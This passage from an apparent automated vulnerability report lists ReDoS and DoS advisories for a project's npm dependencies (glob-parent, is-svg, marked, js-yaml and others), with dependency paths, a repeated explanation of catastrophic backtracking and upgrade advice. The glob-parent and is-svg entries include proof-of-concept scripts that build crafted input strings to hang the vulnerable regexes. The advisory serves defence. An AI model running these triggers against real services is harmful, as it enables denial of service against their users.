  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade color-string to version 1.5.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: content-type-parser
  • Introduced through: jest-cli@17.0.3 and jest@17.0.3

Detailed paths

  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-environment-jsdom@17.0.2 jsdom@9.12.0 content-type-parser@1.0.2
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-config@17.0.3 jest-environment-jsdom@17.0.2 jsdom@9.12.0 content-type-parser@1.0.2
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-environment-jsdom@17.0.2 jsdom@9.12.0 content-type-parser@1.0.2
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 jest-config@17.0.3 jest-environment-jsdom@17.0.2 jsdom@9.12.0 content-type-parser@1.0.2
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-config@17.0.3 jest-environment-jsdom@17.0.2 jsdom@9.12.0 content-type-parser@1.0.2
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 jest-config@17.0.3 jest-environment-jsdom@17.0.2 jsdom@9.12.0 content-type-parser@1.0.2

Overview

content-type-parser parses the Content-Type header field into an introspectable data structure.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the user agent parser. It used a regular expression (/^(.*?)\/(.*?)([\t ]*;.*)?$/) in order to parse user agents. This can cause a very moderate impact of about 4 seconds matching time for data 30k characters long.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade content-type-parser to version 2.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: chokidar@1.7.0, babel-cli@6.26.0 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 chokidar@1.7.0 glob-parent@2.0.0
    Remediation: Upgrade to chokidar@3.0.0.
  • Introduced through: react-catalog@1.0.7 babel-cli@6.26.0 chokidar@1.7.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 babel-cli@6.26.0 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 babel-jest@17.0.2 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 babel-jest@17.0.2 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 babel-jest@17.0.2 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 parse-glob@3.0.4 glob-base@0.3.0 glob-parent@2.0.0
  • Introduced through: react-catalog@1.0.7 webpack-dev-server@2.11.5 chokidar@2.1.8 glob-parent@3.1.0
  • Introduced through: react-catalog@1.0.7 webpack@2.7.0 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 glob-parent@3.1.0

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: css-loader@0.26.4

Detailed paths

  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0
    Remediation: Upgrade to css-loader@1.0.0.

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.

You are only affected if you use this package on a server that accepts SVG as user-input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.2.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: css-loader@0.26.4

Detailed paths

  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0
    Remediation: Upgrade to css-loader@1.0.0.

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations and entityRegex regular expressions, bypassing the fix for CVE-2021-28092.

PoC by Yeting Li

//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack1(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//2) 2nd ReDoS caused by ? the first sub-regex  \s*  in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack2(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}


//3rd ReDoS caused by the sub-regex \s+\S*\s*  in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack3(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+  in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}

return ret+"";
}
for(var i = 1; i <= 50000; i++) {
   if (i % 10000 == 0) {
       var time = Date.now();
       var attack_str = build_attack4(i);
       isSvg(attack_str);

       var time_cost = Date.now() - time;
       console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
 }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade is-svg to version 4.3.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: js-yaml
  • Introduced through: css-loader@0.26.4

Detailed paths

  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to css-loader@1.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade js-yaml to version 3.13.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS )

  • Vulnerable module: marked
  • Introduced through: jest-cli@17.0.3, jest@17.0.3 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 node-notifier@4.6.1 cli-usage@0.1.10 marked@0.7.0
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 node-notifier@4.6.1 cli-usage@0.1.10 marked@0.7.0
  • Introduced through: react-catalog@1.0.7 markdown-loader@0.1.7 marked@0.3.19

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS ). The em regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 1.1.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: markdown-loader@0.1.7

Detailed paths

  • Introduced through: react-catalog@1.0.7 markdown-loader@0.1.7 marked@0.3.19
    Remediation: Upgrade to markdown-loader@5.0.0.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The inline.text regex may take quadratic time to scan for potential email addresses starting at every point.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 0.6.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: marked
  • Introduced through: markdown-loader@0.1.7

Detailed paths

  • Introduced through: react-catalog@1.0.7 markdown-loader@0.1.7 marked@0.3.19
    Remediation: Upgrade to markdown-loader@3.0.0.

Overview

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the heading regex.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

